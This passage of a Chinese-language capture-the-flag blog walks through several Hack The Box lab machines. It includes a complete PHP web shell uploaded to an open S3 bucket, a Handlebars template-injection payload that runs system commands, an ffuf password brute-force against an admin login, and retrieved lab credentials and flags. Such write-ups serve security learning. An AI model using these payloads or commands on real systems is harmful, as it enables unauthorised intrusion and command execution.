| performance_schema |
+--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;use&lt;/code&gt; 看看 &lt;code&gt;htb&lt;/code&gt; 有甚麼&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;MariaDB [(none)]&amp;gt; use htb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;一樣用 &lt;code&gt;show&lt;/code&gt; 看看有甚麼 table&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;MariaDB [htb]&amp;gt; show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.009 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;用 sql 語法看看 &lt;code&gt;config&lt;/code&gt; 有啥~&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;MariaDB [htb]&amp;gt; select * from config;
+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | 7b4bec00d1a39e3dd4e021ec3d915da8 |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
7 rows in set (0.009 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;GET FLAG!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Crocodile (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手+++++++++++++++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.1.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:39 CDT
Nmap scan report for 10.129.1.15
Host is up (0.010s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.22
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個 FTP 服務，照之前的登入服務登入看看~&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $ftp 10.129.1.15
Connected to 10.129.1.15.
220 (vsFTPd 3.0.3)
Name (10.129.1.15:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;登入成功! 載載看剛剛在 nmap 看到的檔案~&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;ftp&amp;gt; get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||41791|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |***********************************|    33      325.52 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (4.04 KiB/s)
ftp&amp;gt; get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||42842|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |***********************************|    62      432.47 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (7.55 KiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;打開來看看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $cat allowed.userlist.passwd 
root
Supersecretpassword1
@BaASD&amp;amp;9032123sADS
rKXM59ESxesUFHAd
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;剛剛在 nmap 還看到有個網頁，居然拿到帳號密碼，通靈看看 &lt;code&gt;login.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;居然中了，把 &lt;code&gt;admin/rKXM59ESxesUFHAd&lt;/code&gt; 拿去登入就可以看到 flag 了~&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rk5lTMXD0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Three (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手++++++++++++++++++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.169.167
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 00:14 CDT
Nmap scan report for thetoppers.htb (10.129.169.167)
Host is up (0.0093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個網站服務，連進去看看&lt;/li&gt;
&lt;li&gt;根據題目說我們可以列舉看看 subdomain，而 domain 的位置在&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/H1pDe2mvR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;猜測應該是這個 &lt;code&gt;thetoppers.htb&lt;/code&gt; 我們把它加到 &lt;code&gt;/etc/hosts&lt;/code&gt; 解析 domain&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
10.129.169.167 thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;連接沒問題，可以開始列舉看看 &lt;code&gt;subdomain&lt;/code&gt; 了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $wfuzz -c -w ./subdomaindict.txt -u &amp;quot;http://thetoppers.htb/&amp;quot; -H &amp;quot;Host: FUZZ.thetoppers.htb&amp;quot;

000000248:   200        234 L    1036 W     11947 Ch    &amp;quot;alpha&amp;quot;
000000244:   200        234 L    1036 W     11947 Ch    &amp;quot;panelstats&amp;quot;
000000247:   404        0 L      2 W        21 Ch       &amp;quot;s3&amp;quot;
000000214:   200        234 L    1036 W     11947 Ch    &amp;quot;mail4&amp;quot;
000000228:   200        234 L    1036 W     11947 Ch    &amp;quot;rss&amp;quot;
000000246:   200        234 L    1036 W     11947 Ch    &amp;quot;cacti&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;這邊不知道為什麼用 &lt;code&gt;ffuf&lt;/code&gt; 掃不出來，所以我學別人用 &lt;code&gt;wfuzz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;找到 s3 的 responses 有點不一樣&lt;/li&gt;
&lt;li&gt;所以我把 &lt;code&gt;s3.thetoppers.htb&lt;/code&gt; 加進 &lt;code&gt;/etc/hosts&lt;/code&gt; (同個 Ip) 然後去 &lt;code&gt;curl&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qpxebqmsfv]─[~]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
10.129.30.97 thetoppers.htb
10.129.30.97 s3.thetoppers.htb


┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $curl http://s3.thetoppers.htb/
{&amp;quot;status&amp;quot;: &amp;quot;running&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;知道這是 aws 的 bucket，推測這應該是 bucket 的 &lt;code&gt;endpoint&lt;/code&gt; (連接的端點)&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;awscli&lt;/code&gt; 這工具嘗試連接&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws configure
AWS Access Key ID [****************temp]: {anything}
AWS Secret Access Key [****************temp]: {anything}
Default region name [temp]: {anything}
Default output format [temp]: {anything}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;透過 &lt;code&gt;endpoint&lt;/code&gt; 我們可以看到桶子有甚麼&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb/ ls
2024-07-04 01:55:16 thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看看 &lt;code&gt;thetoppers.htb&lt;/code&gt; 這個桶子&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb
                           PRE images/
2024-07-04 01:55:16          0 .htaccess
2024-07-04 01:55:16      11952 index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.aws.amazon.com/zh_tw/cli/latest/userguide/cli-services-s3-commands.html&quot;&gt;想操作了話可以看這個&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;而這個桶子有網頁，還是用 php 寫的ㄟ，我們可以直接給個 webshell 上去!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-php=&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form method=&amp;quot;GET&amp;quot; name=&amp;quot;&amp;lt;?php echo basename($_SERVER[&amp;#39;PHP_SELF&amp;#39;]); ?&amp;gt;&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;TEXT&amp;quot; name=&amp;quot;cmd&amp;quot; id=&amp;quot;cmd&amp;quot; size=&amp;quot;80&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;SUBMIT&amp;quot; value=&amp;quot;Execute&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;pre&amp;gt;
&amp;lt;?php
    if(isset($_GET[&amp;#39;cmd&amp;#39;]))
    {
        system($_GET[&amp;#39;cmd&amp;#39;]);
    }
?&amp;gt;
&amp;lt;/pre&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;document.getElementById(&amp;quot;cmd&amp;quot;).focus();&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb cp ./webshell.php s3://thetoppers.htb
upload: ./webshell.php to s3://thetoppers.htb/webshell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/H1qZy1NPR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成功執行!&lt;/li&gt;
&lt;li&gt;最後在 /var/www 裡面看到 flag!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;a980d99281a28d638ac68b9bf9453c2b
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lgnition (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 偵查拔 (っ °Д °;)っ&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.1.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 04:57 CDT
Nmap scan report for ignition.htb (10.129.1.27)
Host is up (0.011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Home page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.37 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個網頁服務，去看看&lt;/li&gt;
&lt;li&gt;居然有 dns ，所以我們要在 &lt;code&gt;/etc/hosts&lt;/code&gt; 新增解析&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-5qylkecaww htb-5qylkecaww.htb-cloud.com
10.129.1.27 ignition.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;回去後連上了，是個正常的網頁服務&lt;/li&gt;
&lt;li&gt;拿個 &lt;code&gt;ffuf&lt;/code&gt; 炸炸看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $ffuf -u &amp;#39;http://ignition.htb/FUZZ&amp;#39; -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c

        /&amp;#39;___\  /&amp;#39;___\           /&amp;#39;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ignition.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 81ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 105ms]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 201ms]
# directory-list-2.3-small.txt [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 214ms]
# Copyright 2007 James Fisher [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 215ms]
                        [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 370ms]
home                    [Status: 200, Size: 25802, Words: 5441, Lines: 426, Duration: 578ms]
# on atleast 3 different hosts [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 578ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 597ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 612ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 716ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 730ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 753ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1740ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1741ms]
contact                 [Status: 200, Size: 28673, Words: 6592, Lines: 504, Duration: 1743ms]
media                   [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 9ms]
0                       [Status: 200, Size: 25803, Words: 5441, Lines: 426, Duration: 2165ms]
static                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 7ms]
catalog                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3995ms]
admin                   [Status: 200, Size: 7095, Words: 1551, Lines: 149, Duration: 4396ms]
Home                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7861ms]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;對 admin 蠻有興趣的，一進去是個登入頁面&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/H11oQl4v0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;題目已經有提示 &lt;code&gt; try searching for the most common passwords of 2023.&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;我們就拿腳本炸 (我是用 burp 先存請求，再丟給 GPT 轉 ffuf 炸)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;ffuf -w /path/to/wordlist.txt -X POST -d &amp;quot;form_key=wjENJFWRU4E83jBH&amp;amp;login[username]=admin&amp;amp;login[password]=FUZZ&amp;quot; -u http://ignition.htb/admin -H &amp;quot;Host: ignition.htb&amp;quot; -H &amp;quot;Content-Length: 80&amp;quot; -H &amp;quot;Cache-Control: max-age=0&amp;quot; -H &amp;quot;Upgrade-Insecure-Requests: 1&amp;quot; -H &amp;quot;Origin: http://ignition.htb&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -H &amp;quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36&amp;quot; -H &amp;quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;quot; -H &amp;quot;Referer: http://ignition.htb/admin&amp;quot; -H &amp;quot;Accept-Encoding: gzip, deflate, br&amp;quot; -H &amp;quot;Accept-Language: en-US,en;q=0.9&amp;quot; -H &amp;quot;Cookie: admin=be94dd2hm2iejfngbfbffs6ed5&amp;quot; -H &amp;quot;Connection: close&amp;quot;


Password = qwerty123 302 [found]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;把 &lt;code&gt;admin/qwerty123&lt;/code&gt; 拿去登入，dashboard+flag就出來了!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/Sk0DNx4DA.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Bike (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手 （；´д｀）ゞ&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-qfqoa89dyz]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.60.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 23:34 CDT
Nmap scan report for 10.129.60.80
Host is up (0.0093s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個網站，連進去看看&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B1oMQzHPR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是個可以把你輸入回顯得網站，試試 &lt;code&gt;{{7*7}}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-nodejs=&quot;&gt;Error: Parse error on line 1:
{{7*7}}
--^
Expecting &amp;#39;ID&amp;#39;, &amp;#39;STRING&amp;#39;, &amp;#39;NUMBER&amp;#39;, &amp;#39;BOOLEAN&amp;#39;, &amp;#39;UNDEFINED&amp;#39;, &amp;#39;NULL&amp;#39;, &amp;#39;DATA&amp;#39;, got &amp;#39;INVALID&amp;#39;
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
    at router.post (/root/Backend/routes/handlers.js:14:16)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;報錯了~而我們還可以看到它拿 &lt;a href=&quot;https://medium.com/ling-ni-lee/handlebars%E7%AD%86%E8%A8%98-helper%E6%87%89%E7%94%A8-16978fd6c352&quot;&gt;handlebars&lt;/a&gt; 當模板&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;去 &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs&quot;&gt;HackTricks&lt;/a&gt; 找一下 payload&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript=&quot;&gt;ReferenceError: require is not defined
    at Function.eval (eval at &amp;lt;anonymous&amp;gt; (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), &amp;lt;anonymous&amp;gt;:3:1)
    at Function.&amp;lt;anonymous&amp;gt; (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), &amp;lt;anonymous&amp;gt;:5:37)
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
    at execIteration (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:51:19)
    at Array.&amp;lt;anonymous&amp;gt; (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:61:13)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), &amp;lt;anonymous&amp;gt;:12:31)
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
    at Array.&amp;lt;anonymous&amp;gt; (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), &amp;lt;anonymous&amp;gt;:12:34)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;require&lt;/code&gt; 可能被禁掉ㄌ，這時候可以開始找資料&lt;/li&gt;
&lt;li&gt;看到 &lt;a href=&quot;https://nodejs.org/api/globals.html#process&quot;&gt;require&lt;/a&gt; 其實不是在 Global 裡面，我們推測它應該跑在沙箱&lt;/li&gt;
&lt;li&gt;試試看用 &lt;code&gt;process.mainModule.require&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-nodejs!&quot;&gt;{{#with &amp;quot;s&amp;quot; as |string|}}
  {{#with &amp;quot;e&amp;quot;}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub &amp;quot;constructor&amp;quot;)}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push &amp;quot;return process.mainModule.require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;whoami&amp;#39;);&amp;quot;}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SJxKkEBD0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我們是 root ㄟ，直接 &lt;code&gt;ls&lt;/code&gt; &lt;code&gt;/root&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rysoJ4HD0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET FLAG!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;6b258d726d287462d60c103d0142a81c
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pennyworth (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nmap 起手囉 ヾ(≧▽≦*)o&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-gkoyfeatio]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.163.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 14:48 CDT
Nmap scan report for 10.129.163.207
Host is up (0.0091s latency).
